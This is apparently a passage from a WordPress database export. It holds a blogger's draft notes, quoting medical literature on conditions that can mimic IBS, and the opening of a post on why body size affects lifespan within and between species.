/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-05-24 15:00:10','2021-05-24 15:00:10','',58,'https://trevorklee.com/?p=83',0,'revision','',0),
(85,1,'2021-06-24 17:44:00','2021-06-24 17:44:00','<!-- wp:paragraph -->\n<p>Within a species (intraspecies), being a bigger variant or breed means living less long. Between species (interspecies), being a bigger species or genus means living longer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is almost universally true, at least among mammals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For intraspecies:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <a href=\"https://pursuit.unimelb.edu.au/articles/why-do-small-dogs-live-longer-than-big-dogs\">Big dogs live shorter than small dogs</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Big humans are more prone to metabolic disorders, heart problems, and <a href=\"https://www.sciencedirect.com/science/article/pii/S1470204511701541\">cancer</a> than small humans.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Horses live less long than ponies, even though they’re the same species (<a href=\"https://horserookie.com/pony-lifespan/\">up to 10 years difference</a>).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Miniature cattle live up to <a href=\"http://www.miniaturecattle.com.au/basics.html\">25 years</a>, while normal cattle live up to <a href=\"https://thehumaneleague.org/article/dairy-cows\">20 years</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Potbellied pigs, which are 125+ pounds, live <a href=\"https://animals.mom.com/life-expectancy-vietnamese-potbellied-pig-8101.html\">twice as long</a> as 300+ pound domestic pigs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For interspecies:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The longest lived mammals are all large, like elephants (70 years), whales (90 years), and hippos (50 years).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.The shortest lived mammals are all small, like mice (2-3 years), shrews (1-1.5 years), and rats (2 years).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The middlest lived species are middle sized, like dogs (12 years), goats (18 years), or capuchin monkeys (25 years).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these patterns holds all the time, of course.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intraspecies, there are some bigger individuals that live a long time and some smaller individuals that die young. There are also limits to how small an individual can get and still live a long time, as individuals that are too small (like “teacup” dogs) tend to get severe health problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interspecies, there are minor outliers: cats live longer than dogs, on average, and donkeys live longer than cows. But, there are also some major outliers: humans live up to 120 years, way longer than their bigger cousins, gorillas, who live up to 50 years in captivity. Naked mole rats live up to 35 years, way longer than their bigger rodent cousins, capybaras, who live 10 years in captivity. Finally, bowhead whales live up to 200 years, twice as long as blue whales, which are much larger than them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, these two patterns hold often enough that they’re interesting. What gives? Why does lifespan decrease with body mass intraspecies, and increase with body mass interspecies?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems easier to explain the intraspecies pattern. Bigger animals have more cells, so more chances for things to go wrong, like cancer. They also have more mass, placing greater mechanical stress on their organs, bones, and joints. Finally, they have more surface area, resulting in a greater chance for infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the interspecies pattern, we have to rely on more pseudoscientific explanations, like the idea of <a href=\"http://robdunnlab.com/projects/beats-per-life/\">a billion heartbeats</a> over the course of a lifetime (so a slower heartbeat results in a longer lifespan) or some sort of handwaving at <a href=\"https://knowablemagazine.org/article/health-disease/2021/genetic-tricks-longest-lived-animals\">DNA repair rates and methylation</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, neither explanation can explain both the intra- and interspecies pattern. An explanation that associates smaller individuals with a longer lifespan has to explain the incredibly long lifespan of elephants. An explanation that associates bigger species with a longer lifespan has to explain why big dogs, with their <a 